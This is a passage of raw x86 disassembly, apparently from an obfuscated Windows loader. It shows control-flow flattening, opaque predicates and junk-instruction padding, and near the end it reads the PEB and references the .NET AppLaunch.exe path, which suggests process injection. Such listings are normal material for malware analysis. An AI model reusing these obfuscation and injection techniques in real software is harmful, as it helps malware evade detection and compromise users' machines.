and ecx, 0xdbe4c77c
and edx, 0x241b3883
or ecx, edx
mov edx, eax
not edx
and eax, 0x6968f4de
and edx, 0x96970b20
or eax, edx
xor eax, 0x6968f4de
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x279a94d0
and ecx, 0xd8656b2f
or eax, ecx
mov ecx, eax
xor ecx, 0x208a8000
xor eax, 0x88216b0b
and eax, 0x8f317fdb
and ecx, 0x70ce8024
or ecx, eax
mov eax, ecx
xor eax, 0x82311ec0
xor ecx, 0x204e0024
and ecx, 0x2d4e613f
and eax, 0xd2b19ec0
or eax, ecx
mov ecx, eax
xor ecx, 0x12301a40
xor eax, 0x2008610d
and eax, 0xe089e58d
and ecx, 0x1f761a72
or ecx, eax
mov eax, ecx
xor eax, 0xa0086185
xor ecx, 0x1f360012
and ecx, 0x5fb7841a
and eax, 0xa0487be5
or eax, ecx
xor eax, 0xa0487be5
setne dl
sete ah
cmp dword [0x508180], 0xa
setl cl
setge al
mov ch, cl
and dl, cl
or cl, ah
and al, ah
xor ch, ah
xor cl, 1
or al, dl
or cl, ch
mov edx, eax
mov ch, cl
xor dl, 1
and al, cl
not ch
or cl, dl
and dl, ch
or dl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xe1375bd
cmovne esi, eax
test dl, dl
mov eax, esi
cmovne eax, edi
test cl, cl
cmovne eax, esi
jmp 0x401100
cmp eax, 0x28ddfbd2
jle 0x407552
cmp eax, 0x28ddfbd3
je 0x40b322
cmp eax, 0x28fa0499
je 0x40b45a
cmp eax, 0x2aebbf02
jne 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x18185104
mov edx, ecx
and edx, 0x21a42003
and ecx, 0xf340a64d
or esi, edx
mov edx, eax
xor edx, 0x39bc7107
and edx, eax
xor esi, 0x18185104
and eax, 0xcbf59b2
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x5e3c1dab
xor eax, 0xcbf59b2
and esi, 0xa1c3e254
or edx, esi
mov esi, 0xfb3568eb
xor edx, 0x987f9352
or eax, edx
cmp eax, 0xffffffff
setne al
cmp dword [0x508180], 0xa
mov ch, al
setl ah
setge cl
or cl, al
xor al, ah
or ch, ah
not al
mov edx, ecx
and al, ah
xor dl, 1
xor al, 1
mov ah, al
or al, ch
xor ah, ch
xor al, 1
or al, ah
mov ah, al
mov ch, al
or al, dl
xor ah, 1
xor al, 1
and ch, cl
and dl, ah
xor ah, cl
or al, ah
or dl, ch
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xaf9000c8
cmovne ecx, esi
test al, 1
mov eax, 0xaf9000c8
jmp 0x4010ec
cmp eax, 0xa70b8e87
jle 0x40757d
cmp eax, 0xa70b8e88
je 0x40b464
cmp eax, 0xa71a3757
je 0x40b489
cmp eax, 0xa791fd92
jne 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x2ee0a19e
mov esi, edx
and esi, 0xd11f5e60
and edx, 0xdf7256e0
or ecx, esi
mov esi, ecx
xor esi, 0x20c0218c
xor ecx, 0xd11f5e61
mov edi, ecx
and edi, 0x9f259e13
and esi, 0x60da61ec
or esi, edi
mov edi, eax
xor edi, 0xfffffffe
and edi, eax
and eax, 0x208da91f
mov ebx, edi
not ebx
and edi, 0x60da61ec
or eax, edx
or ecx, ebx
and ebx, 0x9f259e13
xor eax, 0x208da91f
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov edi, 0x5cf074d9
mov esi, ecx
not esi
and ecx, 0xe36f388c
and esi, 0x1c90c773
or ecx, esi
mov esi, 0xa62a661d
xor ecx, 0xe36f388c
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x508180], 0xa
setge dl
mov ah, dl
and al, dl
or dl, cl
inc ah
xor dl, 1
and ah, cl
or al, ah
xor al, dl
mov ecx, eax
cmovne esi, edi
not cl
test cl, dl
cmovne esi, edi
test al, al
mov eax, esi
cmovne eax, edi
test cl, dl
mov ecx, dword [ebp - 0x38]
cmove eax, esi
jmp 0x401100
cmp eax, 0x681bd0aa
jle 0x40759d
cmp eax, 0x681bd0ab
je 0x40b65e
cmp eax, 0x682367e1
je 0x40b683
cmp eax, 0x6886e25a
jne 0x401100
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + 4]
mov dword [ebp - 0x8c], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov eax, 0xcea0c122
jmp 0x401100
cmp eax, 0xc7b62d90
jle 0x4076bf
cmp eax, 0xc7b62d91
je 0x40b698
cmp eax, 0xc83d8b4e
je 0x40b7b9
cmp eax, 0xc8744dc4
jne 0x401100
mov eax, dword [ebp - 0x100]
mov eax, dword [eax + 0x24]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x24]
mov eax, 0x7b64110b
jmp 0x401100
cmp eax, 0x1b21e446
jle 0x407702
cmp eax, 0x1b21e447
je 0x40b7c3
cmp eax, 0x1c9050f6
je 0x40b8b3
cmp eax, 0x1ca8ddcf
jne 0x401100
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x12c], eax
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov esi, ecx
xor esi, 0xf920f710
not eax
mov edx, eax
and esi, ecx
and edx, 0xf920f710
and ecx, 0x73c0a6ca
and eax, 0x8c3f5935
or edx, esi
not esi
or eax, ecx
and esi, 0x6df08ee
and edx, 0xf920f711
or edx, esi
mov esi, edx
not esi
and edx, 0x8c3f5935
mov edi, esi
and edi, 0x73c0a6ca
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0xc2bdfac0
xor eax, 0xffffffff
sete al
setne dl
cmp dword [0x508180], 0xa
setl ah
mov ch, ah
mov cl, ah
xor ch, dl
or cl, al
or dl, ah
xor al, ah
xor dl, 1
and al, ah
xor ch, 1
xor cl, 1
or al, dl
or cl, ch
mov edx, eax
mov ah, al
xor cl, 1
not dl
and dl, al
xor dl, 1
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor dl, cl
xor al, 1
mov ecx, edx
or al, ah
xor cl, al
test al, 1
mov eax, 0xa492ecc6
cmovne eax, esi
test dl, 1
mov edx, 0xa492ecc6
cmovne eax, esi
test cl, 1
cmovne eax, edx
jmp 0x401100
cmp eax, 0x9798e45a
jle 0x407725
cmp eax, 0x9798e45b
je 0x40b943
cmp eax, 0x984ce4ab
je 0x40b958
cmp eax, 0x99960956
jne 0x401100
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xb97cf362
mov eax, ecx
and eax, 0xa1002062
and edx, ecx
not ecx
and ecx, 0x187cd300
or eax, ecx
xor eax, 0xa1002062
or eax, edx
not edx
and edx, 0x46830c9d
and eax, 0xb97cf362
or eax, edx
mov edx, eax
not edx
mov ecx, eax
or ecx, 0x48b20014
mov esi, edx
mov edi, edx
or esi, 0x94004d43
and ecx, 0xdcb24d57
and edi, 0x14810a0
or edx, 1
or edi, ecx
mov ecx, eax
and esi, 0xdcb24d57
and ecx, 0x2205a208
and eax, 0x1222e31c
or ecx, esi
xor ecx, edi
mov esi, ecx
not esi
and ecx, 0x6475ad38
and esi, 0x9b8a52c7
or ecx, esi
mov esi, ecx
xor esi, 0x1020e018
xor ecx, 0xec20f25
mov edi, ecx
or ecx, edx
and edx, 0xeddd1ce3
and edi, 0xeddd1ce3
and esi, 0x1222e31c
or esi, edi
or eax, edx
not ecx
mov edi, 0xa71a3757
xor eax, esi
mov esi, 0xfd7c1ad4
or ecx, eax
mov eax, ecx
xor eax, 0xa8e1c3fc
and eax, ecx
not ecx
and ecx, 0xa8e1c3fc
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xbfabc74f
and ecx, 0x405438b0
or eax, ecx
mov ecx, eax
xor ecx, 0x70800b3
xor eax, 0x4010a10c
and ecx, 0xafad5af3
and eax, 0x5052a50c
or eax, ecx
xor eax, 0x5052a50c
setne dl
sete al
cmp dword [0x508180], 0xa
setl ah
mov cl, ah
or dl, ah
or cl, al
xor al, ah
xor dl, 1
xor cl, 1
or cl, al
and al, ah
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
and ch, cl
or dl, al
mov al, ch
xor al, dl
test al, 1
cmovne esi, edi
test dl, 1
jmp 0x40997b
cmp eax, 0x5abb0300
jle 0x40774e
cmp eax, 0x5abb0301
je 0x40ba26
cmp eax, 0x5c898b96
je 0x40ba43
cmp eax, 0x5cf074d9
jne 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xb9a8a5ed
and eax, 0xe62a99d6
mov esi, edx
and esi, 0x46575a12
and edx, 0x19d56629
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x98a4288a
xor eax, 0xe62a99d6
and esi, 0x675bd775
or ecx, esi
xor ecx, 0x210c8d66
or eax, ecx
xor eax, 0xffffffff
sete cl
setne al
cmp dword [0x508180], 0xa
setge dl
setl ah
and ah, al
mov al, dl
and al, cl
xor cl, dl
and dl, cl
xor cl, 1
or al, ah
or cl, dl
mov ah, al
mov edx, ecx
xor ah, 1
and al, cl
not dl
and dl, ah
or ah, cl
or al, dl
mov cl, ah
mov edx, 0x20dc0035
xor cl, al
test cl, 1
mov ecx, 0xa62a661d
cmovne edx, ecx
test ah, ah
mov ecx, 0x20dc0035
jmp 0x40d01e
cmp eax, 0xf97335d6
je 0x40bbfb
cmp eax, 0xf9fee754
je 0x40bd06
cmp eax, 0xfb1490a9
jne 0x401100
mov eax, dword [0x508184]
mov edi, 0x748148b8
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0xc0804300
mov ecx, eax
and ecx, 0x23633412
mov esi, eax
or esi, 0xe3e37712
or edx, ecx
mov ecx, esi
not ecx
and esi, 0x1c1c88ec
xor edx, 0xc0804300
or ecx, edx
and ecx, 0xe3e37713
or ecx, esi
mov esi, 0x12f7e110
mov edx, ecx
not edx
and ecx, 0x2dbfe223
and edx, 0xd2401ddc
or ecx, edx
xor ecx, 0x2dbfe223
or ecx, eax
xor ecx, 0xffffffff
sete ah
setne dl
cmp dword [0x508180], 0xa
mov dh, ah
setl al
setge ch
xor dh, al
mov cl, al
and ch, ah
or cl, dl
and dh, dl
and dl, al
or al, ah
xor cl, 1
or dl, ch
xor al, 1
or cl, dh
or al, dl
mov edx, 0x748148b8
xor al, cl
cmovne edx, esi
test al, cl
cmove edx, esi
test al, al
cmove edx, edi
test al, cl
cmovne edx, edi
mov eax, edx
jmp 0x401100
cmp eax, 0x3c45c24f
je 0x40be3a
cmp eax, 0x402202c5
je 0x40be5d
cmp eax, 0x419951a8
jne 0x401100
cmp byte [ebp - 0x80], 0
mov eax, 0xd72d2d1f
mov ecx, 0x56a92e8a
cmovne eax, ecx
jmp 0x401100
cmp eax, 0xb863e7b7
je 0x40bf5b
cmp eax, 0xb8f221c0
je 0x40bf65
cmp eax, 0xbb8eeccd
jne 0x401100
cmp byte [ebp - 0x7a], 0
mov eax, 0x79ef880b
mov ecx, 0xadca3612
cmovne eax, ecx
jmp 0x401100
cmp eax, 0x771bc224
je 0x40c0da
cmp eax, 0x775e0201
je 0x40c0f9
cmp eax, 0x7776f4cc
jne 0x401100
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x8088db72
mov edx, ecx
and edx, 0xaee768fe
andn eax, ecx, eax
not ecx
and ecx, 0x51189701
or ecx, edx
mov edx, ecx
xor edx, 0x51189701
xor ecx, 0x8264202c
mov esi, edx
and esi, 0x7f77248d
or edx, 1
and ecx, 0xc36c232c
or eax, esi
mov esi, eax
not esi
and eax, 0x3e216bef
and esi, 0xc1de9410
or eax, esi
mov esi, eax
xor esi, 0x41440321
xor eax, 0xbea9b09c
mov edi, eax
or eax, edx
and edx, 0x3c93dcd2
and edi, 0x3c93dcd2
and esi, 0xc36c232d
or esi, edi
or ecx, edx
not eax
mov edi, 0x15b8d66e
xor ecx, esi
mov esi, 0x420aeb47
or eax, ecx
mov ecx, eax
xor ecx, 0xef3154ee
and ecx, eax
not eax
and eax, 0xef3154ee
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x6385c614
and eax, 0x9c7a39eb
or ecx, eax
mov eax, ecx
xor eax, 0x8b40020
xor ecx, 0x734b6d05
mov edx, ecx
and edx, 0xd703ffda
and eax, 0x28fc0025
or eax, edx
xor eax, 0xd703ffda
xor ecx, eax
test ecx, eax
sete cl
setne ah
cmp dword [0x508180], 0xa
setge al
setl ch
mov edx, eax
and ch, ah
and dl, cl
xor cl, al
and cl, al
xor al, ah
or dl, ch
mov ah, cl
xor cl, al
xor al, 1
xor ah, 1
or al, ah
xor al, 1
or al, cl
mov ecx, edx
xor al, 1
xor cl, al
or al, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
cmovne edi, esi
test al, 1
mov eax, 0x15b8d66e
cmovne eax, edi
test cl, 1
cmove eax, edi
jmp 0x401100
cmp eax, 0xd4a5ded8
je 0x40c103
cmp eax, 0xd5d76501
je 0x40c10d
cmp eax, 0xd5e0f406
jne 0x401100
mov eax, dword [ebp - 0x20]
mov ecx, dword [0x508184]
add eax, 0x34
mov dword [ebp - 0x134], eax
lea eax, [ecx + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x66962951
mov esi, edx
and esi, 0x9969d6ae
and edx, 0x8500f4b5
or eax, esi
mov esi, eax
xor eax, 0x9969d6ae
xor esi, 0x60900910
or eax, 1
and esi, 0x68989d9a
mov edi, eax
and edi, 0x97676264
or esi, edi
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
and ecx, 0x7aff0b4a
mov ebx, edi
not ebx
and edi, 0x68989d9b
or ecx, edx
or eax, ebx
and ebx, 0x97676264
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
mov edx, eax
and edx, 0x4139ad48
and esi, 0xbec652b7
or esi, edx
mov edx, ecx
xor edx, 0x3ac60202
xor ecx, 0x8500f4b5
or eax, ecx
and ecx, 0x4139ad48
and edx, 0xbec652b7
or edx, ecx
not eax
xor edx, esi
mov esi, 0xb863e7b7
or eax, edx
mov ecx, eax
not ecx
and eax, 0x8312ae1c
and ecx, 0x7ced51e3
or eax, ecx
cmp eax, 0x8312ae1c
sete cl
cmp dword [0x508180], 0xa
setge ah
setl dl
mov al, ah
xor dl, cl
xor al, cl
and ah, al
or dl, ah
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor ah, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
xor cl, 1
mov edx, ecx
or cl, al
xor dl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x83db4242
cmovne esi, eax
test cl, 1
mov eax, 0xb863e7b7
jmp 0x408a57
cmp eax, 0x127cce71
je 0x40c1d5
cmp eax, 0x12f7e110
je 0x40c276
cmp eax, 0x139573ed
jne 0x401100
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd4]
mov eax, 0x974d1b48
jmp 0x401100
cmp eax, 0x929c17f8
je 0x40c289
cmp eax, 0x92a645f8
je 0x40c3a7
cmp eax, 0x9357a136
jne 0x401100
mov eax, dword [ebp - 0x170]
mov eax, dword [eax]
add eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0x40]
mov dword [ecx], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov eax, 0x127cce71
jmp 0x401100
cmp eax, 0x550ddf89
je 0x40c4b3
cmp eax, 0x5588746f
je 0x40c4cc
cmp eax, 0x55e0c742
jne 0x401100
mov eax, 0xc370d5e3
jmp 0x401100
cmp eax, 0xf20d8057
je 0x40c4d6
cmp eax, 0xf268cc9a
je 0x40c598
cmp eax, 0xf3701a3a
jne 0x401100
mov eax, 0x2bf8fa17
jmp 0x401100
cmp eax, 0x2e3b3332
je 0x40c644
cmp eax, 0x2f33e935
je 0x40c657
cmp eax, 0x2f4d22c4
jne 0x401100
mov eax, 0x7d684842
jmp 0x401100
cmp eax, 0xae7572cc
je 0x40c675
cmp eax, 0xaf9000c8
je 0x40c685
cmp eax, 0xb1bdda65
jne 0x401100
mov eax, 0x771bc224
jmp 0x401100
cmp eax, 0x6f7fafac
je 0x40c7a8
cmp eax, 0x6f87859c
je 0x40c95a
cmp eax, 0x7044e504
jne 0x401100
mov eax, dword [ebp - 0x24]
mov eax, 0xb526e807
jmp 0x401100
cmp eax, 0xcf13fde0
je 0x40ca02
cmp eax, 0xd08989d2
je 0x40ca2a
cmp eax, 0xd142e486
jne 0x401100
cmp byte [ebp - 0x82], 0
mov eax, 0x81f97f44
mov ecx, 0x2d3a1eb9
cmovne eax, ecx
jmp 0x401100
cmp eax, 0x20dc0035
je 0x40ca34
cmp eax, 0x22189a8f
je 0x40ca3e
cmp eax, 0x23a2f9ed
jne 0x401100
mov eax, 0x62000e75
jmp 0x401100
cmp eax, 0x9ef945e9
je 0x40cb37
cmp eax, 0x9f33c3df
je 0x40cbd9
cmp eax, 0xa00a1889
jne 0x401100
mov eax, dword [0x508184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xad50400b
and ecx, edx
not edx
and edx, 0xad50400b
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x97818f72
and eax, 0x687e708d
or ecx, eax
mov eax, ecx
xor ecx, 0x1223000
xor eax, 0x3ad1cf79
mov edx, eax
and ecx, 0x1b2b211
and eax, 0xfe4d4dee
and edx, 0xfffffffe
or eax, ecx
xor eax, 0xfe4d4def
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x10880001
and eax, 0x8714e200
mov edx, ecx
or edx, 0x4802107e
and esi, 0x588a107f
and ecx, 0x20610d80
and edx, 0x588a107f
or ecx, esi
mov esi, 0x7bd2a842
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x68631dfe
and ecx, 0x979ce201
or eax, ecx
setne dl
sete ah
cmp dword [0x508180], 0xa
mov ecx, edx
setl ch
setge al
and dl, ch
and cl, al
and ch, ah
or ch, cl
mov cl, ch
xor cl, al
and al, ah
and cl, ch
or al, dl
mov edx, ecx
mov ch, cl
xor dl, 1
and dl, al
xor al, 1
xor ch, al
and al, cl
and ch, cl
or al, dl
mov edx, 0xd4948197
mov cl, ch
xor cl, al
test al, al
mov eax, 0x7bd2a842
cmovne eax, edx
test ch, ch
cmove eax, esi
jmp 0x40c4a8
cmp eax, 0x623cb3d4
je 0x401020
cmp eax, 0x62600dd9
je 0x40cbe3
cmp eax, 0x63088ac6
jne 0x401100
mov eax, 0xb8f221c0
jmp 0x401100
cmp eax, 0xffe43292
je 0x40cbed
cmp eax, 0x24d875
je 0x40cc1c
cmp eax, 0xe73678
jne 0x401100
mov eax, dword [ebp - 0x148]
mov eax, dword [eax + 0x14]
add eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x68]
lea eax, [eax + eax*4]
lea eax, [ecx + eax*8]
mov dword [ebp - 0x150], eax
mov eax, 0x9bf79de4
jmp 0x401100
cmp eax, 0x477c6f4d
je 0x40cd54
cmp eax, 0x4850a9f4
je 0x40ce10
cmp eax, 0x4910952f
jne 0x401100
mov dword [ebp - 0x28], 5
mov eax, 0xe5bcffd9
jmp 0x401100
cmp eax, 0xc2bdfac0
je 0x40ce1a
cmp eax, 0xc2d0627c
je 0x40ce2a
cmp eax, 0xc370d5e3
jne 0x401100
mov eax, dword [0x508184]
mov esi, 0xa70b8e88
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0x889ee222
and eax, 0x889ee222
and edx, ecx
or eax, edx
not edx
and edx, 0x77611ddc
and eax, 0x889ee223
or eax, edx
mov edx, eax
not edx
and eax, ecx
andn ecx, ecx, edx
or eax, ecx
not eax
or eax, edx
cmp eax, 0xffffffff
sete al
cmp dword [0x508180], 0xa
setl ah
mov cl, ah
or ah, al
xor cl, al
mov edx, ecx
not cl
mov al, cl
or cl, ah
and dl, ah
xor al, ah
not cl
or cl, al
mov eax, 0x6414caf3
xor cl, dl
and cl, 1
cmovne eax, esi
test cl, dl
mov edx, 0x6414caf3
cmove eax, esi
jmp 0x40e922
cmp eax, 0x7d67df1e
je 0x40cf6b
cmp eax, 0x7d684842
je 0x40d02d
cmp eax, 0x7e4eae79
jne 0x401100
mov eax, dword [0x508184]
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
not ecx
mov eax, esi
or eax, 1
and esi, 0x811e3dfa
mov edx, ecx
and edx, 0x7ee1c205
and ecx, 0x11eb55f6
or edx, esi
mov esi, eax
and esi, 0xee14aa08
or ecx, esi
mov esi, edx
xor esi, 0x10e14004
xor edx, 0x811e3dfb
or eax, edx
and edx, 0xee14aa08
and esi, 0x11eb55f7
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0x7b64110b
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x52810040
and eax, 0x2d225c8e
and ecx, 0x805ca331
or edx, ecx
xor edx, 0x52810040
or eax, edx
mov ecx, eax
not ecx
and eax, 0xee357233
and ecx, 0x11ca8dcc
or eax, ecx
cmp eax, 0x3ce8d142
setne cl
cmp dword [0x508180], 0xa
mov ch, cl
setl dl
setge al
or al, cl
xor cl, dl
or ch, dl
mov ah, al
not cl
xor ch, 1
and cl, dl
xor ah, 1
or cl, ch
mov ch, ah
and ch, al
mov edx, ecx
xor ch, 1
xor dl, 1
or ch, al
xor ch, 1
or ch, ah
mov ah, cl
and ah, dl
xor ah, 1
or ah, dl
or dl, al
xor ah, 1
mov al, dl
or ah, cl
xor ah, ch
mov ecx, 0xc8744dc4
xor al, ah
test al, 1
cmovne esi, ecx
test dl, dl
mov edx, 0x7b64110b
cmovne edx, esi
test ah, 1
cmove edx, esi
mov eax, edx
jmp 0x401100
cmp eax, 0xd8174516
je 0x40d043
cmp eax, 0xd83f91e2
jne 0x40e991
mov eax, 0x72ad3db1
jmp 0x401100
cmp eax, 0xf8b33e
je 0x40d204
cmp eax, 0x16e2590
jne 0x401100
mov eax, 0x51c4ca2b
jmp 0x401100
cmp eax, 0x804eebf7
je 0x40d350
cmp eax, 0x81f375f9
jne 0x401100
mov eax, 0x62000e75
jmp 0x401100
cmp eax, 0x496c5e23
je 0x40d369
cmp eax, 0x49df3ffc
jne 0x401100
mov eax, dword [ebp - 0xec]
mov eax, 0xd35d090a
jmp 0x401100
cmp eax, 0xe2188f58
je 0x40d373
cmp eax, 0xe2cfe885
jne 0x401100
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0xc]
add eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xac]
mov dword [ecx], eax
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov dword [ebp - 0x17c], eax
mov eax, 0x909aa915
jmp 0x401100
cmp eax, 0x23c3d8fb
je 0x40d37d
cmp eax, 0x23f51c81
jne 0x401100
mov eax, 0xf8f26810
jmp 0x401100
cmp eax, 0xa05bd798
je 0x40d3a6
cmp eax, 0xa0654b60
jne 0x401100
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x5c]
vmovups ymm1, ymmword [0x4531a0]
vmovups ymm0, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymm2, ymmword [0x4531c0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x74]
mov dword [ecx], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x54]
add eax, 0xfffffff8
mov dword [ecx], eax
and edi, 0x83
or edx, 0x1a
imul edx
rcl esi, 0xce
bswap esi
and edi, 0xfb
neg esi
sub edx, 0x4c
inc esi
add edi, 0xe2
neg edx
ror esi, 0x61
inc edi
not eax
imul edi
or edx, 0x97
inc edx
mov edx, 0xea
bswap edi
neg ebx
imul ebx
mov edx, 0x22
ror ebx, 0x39
imul ebx
bswap ebx
neg esi
inc edi
imul esi
rol ebx, 6
or esi, 0xa8
or edx, 0xe6
or ebx, 0xe3
mov esi, 0x61
inc edi
bswap ebx
not edi
add edx, 0x79
sub eax, 0xe4
not esi
rcr ebx, 0x5c
bswap ebx
ror ebx, 0xbf
sub eax, 0xee
rcr edx, 0xbe
mov eax, 0xa9
rcr eax, 0x8b
and ebx, 0xaa
sub edx, 0x21
add esi, 0xad
not eax
rcl edx, 0xec
rcl eax, 0x1b
ror edx, 0xe3
imul ebx
sbb edx, 0xae
dec ebx
add edi, 0xf4
mov ebx, 0xab
rcl edx, 0x57
and edx, 0x2c
imul ebx
inc eax
not eax
add ebx, 0x37
neg edi
inc edi
imul edx
and esi, 0x33
bswap ebx
inc edx
rcr eax, 0xa5
add eax, 0x34
and ebx, 0x4a
rcr ebx, 0x9d
imul ebx
rcl edx, 0x1a
mov eax, 0x7b
add esi, 0x20
ror edi, 0x7a
rcl ebx, 0x29
mov ebx, 0x5c
inc ebx
add edi, 0xee
rcl edx, 0x4d
ror eax, 0xf5
add edi, 0xcc
inc edi
add edx, 0x3a
imul edx
sub edi, 0x8a
not eax
bswap edi
bswap edx
rol edx, 0x35
sbb edi, 9
neg ebx
rcl eax, 0x98
neg edi
mov eax, 0xe8
mov edi, 0xc7
sub edi, 0xef
not esi
neg ebx
or ebx, 0x73
imul edx
rol eax, 0x93
and edx, 0x3f
bswap eax
mov eax, 0xdd
rcr ebx, 0x54
not eax
imul eax
bswap ebx
neg edi
sub edi, 0xa9
rcr ebx, 0x63
dec edi
and esi, 0x79
rcl eax, 0x29
imul eax
inc edx
not edi
neg eax
mov edi, 0x8e
inc esi
and edi, 0xda
neg edi
inc edx
ror eax, 0x8a
or eax, 0xf6
inc edi
rcr eax, 0x13
sub edi, 0xf8
not edi
dec edi
sub esi, 0x64
dec edi
bswap esi
ror esi, 0xc0
inc edi
and esi, 0
not ebx
neg esi
neg eax
inc edx
inc ebx
dec ebx
mov ebx, 0xac
neg eax
add ebx, 0x51
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [eax + 8], ecx
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov dword [eax + 0x18], ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
add eax, 0x24
mov dword [ecx], eax
dec esi
dec edi
neg eax
bswap edi
ror eax, 0x19
bswap esi
add edi, 0x12
neg ebx
or esi, 0xd
dec eax
imul edi
sbb edx, 0x87
mov ebx, 0x6e
add ebx, 0xbb
rcr edi, 0x16
neg edi
sub edi, 0xe4
inc eax
rcr edx, 0xf9
sbb ebx, 0xec
inc ebx
bswap esi
imul ebx
rcl eax, 0xf5
sub eax, 5
ror ebx, 0x3e
mov ebx, 0x13
add eax, 0x15
sub edi, 0x30
not edx
ror edx, 0x38
inc eax
add esi, 0xea
mov esi, 0x83
sbb edx, 0xa9
inc esi
sbb ebx, 0xe5
not ebx
neg eax
imul eax
imul esi
not ebx
rol eax, 0x1c
mov ebx, 0x43
dec edx
bswap eax
not edx
rol edi, 0x1f
dec eax
neg ebx
or edx, 0x1d
add edx, 0x46
and esi, 0x11
rcr ebx, 0x64
imul eax
neg ebx
imul edx
ror esi, 0xb8
dec eax
mov eax, 0xed
dec esi
bswap ebx
imul ebx
sub edx, 0x23
and edi, 0x8a
not edx
rol ebx, 0x51
add edx, 0x7f
not edi
neg edi
bswap edi
rcr eax, 0xd7
or ebx, 0x63
bswap edi
imul eax
ror edi, 0x41
mov esi, 0x47
inc eax
rcr edi, 0x5f
ror edi, 0xae
ror esi, 0xd9
rcr ebx, 0x91
inc edi
rcl edx, 0x72
rcl edi, 0x9d
rcr edi, 0x7f
imul edi
rcl edx, 0x5a
sbb eax, 0x38
rcr ebx, 0x6b
sub edi, 0x41
or edx, 3
dec eax
rol eax, 0xaa
rcr edi, 0xb0
ror esi, 2
add esi, 0xbf
rcr edx, 0xaf
not edi
not edi
not eax
not edi
imul edi
bswap edx
not edx
mov eax, 0xb8
imul edx
rcl ebx, 0xc4
rol ebx, 0x73
ror edi, 0x4e
neg eax
ror edi, 0xb3
sub eax, 0x87
rol eax, 0x5b
bswap edx
bswap edx
add edi, 0x2e
sub edx, 0x13
bswap esi
bswap esi
not edx
rol ebx, 0xd4
sbb eax, 0xbe
not eax
ror eax, 0x94
or edi, 0xec
neg edi
sub edi, 0xea
dec edx
and ebx, 0x39
add edi, 0x9e
mov eax, 0x76
inc ebx
and eax, 0x98
dec edi
inc edi
neg ebx
and eax, 0xd4
imul edx
and edi, 0x36
not eax
neg eax
inc ebx
neg esi
rol edi, 0xc7
rcl ebx, 0x60
or esi, 0xc0
imul edx
dec ebx
imul eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
